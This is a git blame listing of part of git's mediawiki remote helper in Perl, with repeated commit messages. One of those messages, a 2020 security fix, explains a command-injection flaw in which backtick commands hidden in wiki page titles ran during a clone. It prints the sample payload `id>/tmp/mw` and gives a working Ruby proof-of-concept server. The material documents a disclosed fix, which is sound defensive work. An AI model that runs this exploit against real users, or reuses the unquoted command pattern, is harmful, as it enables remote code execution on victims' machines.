|
my ($namespace, $filename) = $page_title =~ /^([^:]*):(.*)$/;
|
2012-06-27 16:21:29 +02:00
|
|
|
my %mediafile;
|
2012-07-17 16:06:00 +02:00
|
|
|
if ($namespace) {
|
|
|
|
my $id = get_mw_namespace_id($namespace);
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($id && $id == get_mw_namespace_id('File')) {
|
2012-07-17 16:06:00 +02:00
|
|
|
%mediafile = get_mw_mediafile_for_page_revision($filename, $rev->{timestamp});
|
|
|
|
}
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
# If this is a revision of the media page for new version
|
|
|
|
# of a file do one common commit for both file and media page.
|
|
|
|
# Else do commit only for that page.
|
2013-06-14 15:50:36 +02:00
|
|
|
print {*STDERR} "${n}/", scalar(@{$revision_ids}), ": Revision #$rev->{revid} of $commit{title}\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
import_file_revision(\%commit, ($fetch_from == 1), $n_actual, \%mediafile);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
return $n_actual;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub error_non_fast_forward {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]);
|
2011-09-27 19:55:00 +02:00
|
|
|
chomp($advice);
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($advice ne 'false') {
|
2011-09-27 19:55:00 +02:00
|
|
|
# Native git-push would show this after the summary.
|
|
|
|
# We can't ask it to display it cleanly, so print it
|
|
|
|
# ourselves before.
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "To prevent you from losing history, non-fast-forward updates were rejected\n";
|
|
|
|
print {*STDERR} "Merge the remote changes (e.g. 'git pull') before pushing again. See the\n";
|
|
|
|
print {*STDERR} "'Note about fast-forwards' section of 'git push --help' for details.\n";
|
2011-09-27 19:55:00 +02:00
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} qq(error $_[0] "non-fast-forward"\n);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
|
2012-06-27 11:10:18 +02:00
|
|
|
sub mw_upload_file {
|
|
|
|
my $complete_file_name = shift;
|
|
|
|
my $new_sha1 = shift;
|
|
|
|
my $extension = shift;
|
|
|
|
my $file_deleted = shift;
|
|
|
|
my $summary = shift;
|
|
|
|
my $newrevid;
|
2013-06-14 15:50:30 +02:00
|
|
|
my $path = "File:${complete_file_name}";
|
2012-06-27 11:10:18 +02:00
|
|
|
my %hashFiles = get_allowed_file_extensions();
|
|
|
|
if (!exists($hashFiles{$extension})) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "${complete_file_name} is not a permitted file on this wiki.\n";
|
|
|
|
print {*STDERR} "Check the configuration of file uploads in your mediawiki.\n";
|
2012-06-27 11:10:18 +02:00
|
|
|
return $newrevid;
|
|
|
|
}
|
2016-08-09 10:53:38 +02:00
|
|
|
# Deleting and uploading a file requires a privileged user
|
2012-06-27 11:10:18 +02:00
|
|
|
if ($file_deleted) {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
2012-06-27 11:10:18 +02:00
|
|
|
my $query = {
|
|
|
|
action => 'delete',
|
|
|
|
title => $path,
|
|
|
|
reason => $summary
|
|
|
|
};
|
|
|
|
if (!$mediawiki->edit($query)) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Failed to delete file on remote wiki\n";
|
|
|
|
print {*STDERR} "Check your permissions on the remote site. Error code:\n";
|
|
|
|
print {*STDERR} $mediawiki->{error}->{code} . ':' . $mediawiki->{error}->{details};
|
2012-06-27 11:10:18 +02:00
|
|
|
exit 1;
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
# Don't let perl try to interpret file content as UTF-8 => use "raw"
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw');
|
2013-06-14 15:50:33 +02:00
|
|
|
if ($content ne EMPTY) {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
2012-06-27 11:10:18 +02:00
|
|
|
$mediawiki->{config}->{upload_url} =
|
2013-06-14 15:50:30 +02:00
|
|
|
"${url}/index.php/Special:Upload";
|
2012-06-27 11:10:18 +02:00
|
|
|
$mediawiki->edit({
|
|
|
|
action => 'upload',
|
|
|
|
filename => $complete_file_name,
|
|
|
|
comment => $summary,
|
|
|
|
file => [undef,
|
|
|
|
$complete_file_name,
|
|
|
|
Content => $content],
|
|
|
|
ignorewarnings => 1,
|
|
|
|
}, {
|
|
|
|
skip_encoding => 1
|
|
|
|
} ) || die $mediawiki->{error}->{code} . ':'
|
2013-06-14 15:50:21 +02:00
|
|
|
. $mediawiki->{error}->{details} . "\n";
|
2012-06-27 11:10:18 +02:00
|
|
|
my $last_file_page = $mediawiki->get_page({title => $path});
|
|
|
|
$newrevid = $last_file_page->{revid};
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Pushed file: ${new_sha1} - ${complete_file_name}.\n";
|
2012-06-27 11:10:18 +02:00
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Empty file ${complete_file_name} not pushed.\n";
|
2012-06-27 11:10:18 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
return $newrevid;
|
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub mw_push_file {
|
|
|
|
my $diff_info = shift;
|
|
|
|
# $diff_info contains a string in this format:
|
|
|
|
# 100644 100644 <sha1_of_blob_before_commit> <sha1_of_blob_now> <status>
|
|
|
|
my @diff_info_split = split(/[ \t]/, $diff_info);
|
|
|
|
|
|
|
|
# Filename, including .mw extension
|
|
|
|
my $complete_file_name = shift;
|
|
|
|
# Commit message
|
|
|
|
my $summary = shift;
|
2011-09-01 18:54:56 +02:00
|
|
|
# MediaWiki revision number. Keep the previous one by default,
|
|
|
|
# in case there's no edit to perform.
|
2012-06-27 11:10:18 +02:00
|
|
|
my $oldrevid = shift;
|
|
|
|
my $newrevid;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-16 14:00:47 +02:00
|
|
|
if ($summary eq EMPTY_MESSAGE) {
|
2013-06-14 15:50:33 +02:00
|
|
|
$summary = EMPTY;
|
2012-07-16 14:00:47 +02:00
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $new_sha1 = $diff_info_split[3];
|
|
|
|
my $old_sha1 = $diff_info_split[2];
|
|
|
|
my $page_created = ($old_sha1 eq NULL_SHA1);
|
|
|
|
my $page_deleted = ($new_sha1 eq NULL_SHA1);
|
2013-07-04 22:38:58 +02:00
|
|
|
$complete_file_name = clean_filename($complete_file_name);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-06-27 11:10:18 +02:00
|
|
|
my ($title, $extension) = $complete_file_name =~ /^(.*)\.([^\.]*)$/;
|
|
|
|
if (!defined($extension)) {
|
2013-06-14 15:50:33 +02:00
|
|
|
$extension = EMPTY;
|
2012-06-27 11:10:18 +02:00
|
|
|
}
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($extension eq 'mw') {
|
2012-07-16 21:46:37 +02:00
|
|
|
my $ns = get_mw_namespace_id_for_page($complete_file_name);
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($ns && $ns == get_mw_namespace_id('File') && (!$export_media)) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Ignoring media file related page: ${complete_file_name}\n";
|
2013-06-14 15:50:30 +02:00
|
|
|
return ($oldrevid, 'ok');
|
2012-07-16 21:46:37 +02:00
|
|
|
}
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
